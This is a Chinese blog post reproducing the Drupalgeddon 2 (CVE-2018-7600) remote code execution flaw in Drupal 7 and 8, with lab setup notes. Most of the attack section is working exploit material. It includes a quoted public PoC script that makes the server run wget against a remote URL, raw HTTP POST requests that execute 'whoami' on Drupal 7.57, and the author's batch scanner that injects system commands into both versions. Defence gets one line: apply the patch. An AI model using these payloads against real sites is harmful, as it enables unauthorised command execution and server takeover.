drupal7~8 CVE-2018-7600

Referrer

POC及原理:
https://research.checkpoint.com/uncovering-drupalgeddon-2/
代码分析:
https://paper.seebug.org/567/

受影响范围

image.png

漏洞原理

image.png

image.png

image.png

image.png

image.png

image.png

image.png

攻击环境搭建

下载drupal 8.5.0
https://www.drupal.org/project/drupal/releases/8.5.0
部署xampp+php7.2环境
https://www.apachefriends.org/index.html
搭建drupal 8.5.0
https://blog.csdn.net/plm15987/article/details/57912348

这次在搭建环境的时候,真的是踩坑了。

win7虚拟机没打 windows6.1-KB976932-X64 补丁,导致缺少依赖,安装不了php7所需的VC2015运行库

安装drupal的时候,报错C:\xampp\htdocs\drupal-8.5.0\core\lib\Drupal\Core\Database\Statement.php on line 59
其实是最后config的时间太久,超时了。将php.ini中,max_execution_time = 30 改成了:max_execution_time = 100

exp

在注册页面
http://127.0.0.1/drupal-8.5.0/user/register
正常上传图片,并修改三个参数

element_parents=account/mail/%23value
name=" mail[a][#lazy_builder][0]"
name=" mail[a][#lazy_builder][1][]"
image.png

image.png

再给出一个github的exp,代入渲染的恶意数组是mail[#post_render][]

#!/usr/bin/env
import sys
import requests

print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')

target = input('Enter target url (example: https://domain.ltd/): ')

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'wget https://gist.githubusercontent.com/a2u/66680e1f4abac79d654424ffdb1b410d/raw/d417bbfa8137a1ef53124522a87b1ad1d2b8ec96/hello.txt'}

r = requests.post(url, data=payload)
if r.status_code != 200:
  sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')
image.png

更新drupal7利用点

这里以补丁前一个版本drupal-7.57为例
原理都是一样的,触发点在 http://192.168.168.8/drupal-7.57/?q=user/password

image.png

image.png

image.png

附上两个post

#####post1

POST /drupal-7.57/?q=user/password&name[%23post_render][]=system&name[%23markup]=whoami&name[%23type]=markup HTTP/1.1
Host: 192.168.168.8
User-Agent: python-requests/2.14.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 47
Content-Type: application/x-www-form-urlencoded

form_id=user_pass&_triggering_element_name=name

#####post2 (需从post1中得到form_build_id)

POST /drupal-7.57/?q=file/ajax/name/%23value/form-nCuDQmLAe3IiMfXAl1TgwxytTnXZIuTA28bcIY2XAZg HTTP/1.1
Host: 192.168.168.8
User-Agent: python-requests/2.14.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 62
Content-Type: application/x-www-form-urlencoded

form_build_id=form-nCuDQmLAe3IiMfXAl1TgwxytTnXZIuTA28bcIY2XAZg

防御

升级官方补丁即可

检测

我写了个检测脚本,可批量检测windows和linux环境下的drupal7和drupal8

#!coding:utf-8
import requests
import re

print ('###################################')
print ('### POC for drupal CVE-2018-7600')
print ('### by 阿烨')
print ('###################################')
print ('\n')

check_host={
    'http://192.168.168.8/drupal-7.57/',
    'http://192.168.168.8/drupal-8.5.0/',
    
}

for host in check_host:
    if host[-1::] != '/':
        host += '/'

    #checking drupal7
    print('\n'+'checking host: '+ host)
    print('checking drupal 7.x ......')

    url = host+'?q=user/password&name[%23post_render][]=system&name[%23markup]=echo%20pwn!!!&name[%23type]=markup'
    data = {
        'form_id':'user_pass',
        '_triggering_element_name':'name'
    }
    r = requests.post(url,data = data,verify = False,timeout = 5)

    result = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)

    if result:
        found = result.group(1)
        url = host + '?q=file/ajax/name/%23value/'+found
        data = {'form_build_id' : found}
        r = requests.post(url,data = data,verify = False,timeout = 5)

        if 'pwn' in r.text:
            print('pwn!!!'+'\n'+host)
        else:
            print('fail')
    else:
        print('fail')


    #checking drupal8
    print('\n'+'checking drupal 8.x ......')
    payload = {
    'mail[a][#lazy_builder][0]':(None,'system'),
    'mail[a][#lazy_builder][1][]':(None,'echo pwn!!!'),
    'form_id':(None,'user_register_form')
    }

    headers = {'X-Requested-With': 'XMLHttpRequest'}

    url = host+'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'    
    r = requests.post(url,files = payload, headers = headers,verify = False,timeout = 5)

    if  'pwn' in r.text:
        print('pwn!!!'+'\n'+host)
    else:
        print('fail')

效果如图:

drupal7、8都开


image.png

只开drupal7


image.png

只开drupal8


image.png

总结

基于drupal的二次开发,注册路径、参数可能都会变,而且环境可能是win或者linux,对应的执行命令也不同,system、passthru等函数被禁止,表面上指纹是低版本,其实已经打了补丁,等等因素都有可能导致漏洞利用不成功,同样的做好这些措施也可以保护好站点

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 76,000评论 12 117
  • pdf下载地址:Java面试宝典 第一章内容介绍 20 第二章JavaSE基础 21 一、Java面向对象 21 ...
    王震阳阅读 78,880评论 25 511
  • Lua 5.1 参考手册 by Roberto Ierusalimschy, Luiz Henrique de F...
    苏黎九歌阅读 6,751评论 0 39
  • 删掉重新来一次吧,记得改那个脚本修改 /home/ubuntu/eos/scripts/install_depen...
    卢衍泓阅读 260评论 1 1
  • Before I was a kind of girl who dislikes writing, when I ...
    Dougigi阅读 162评论 18 5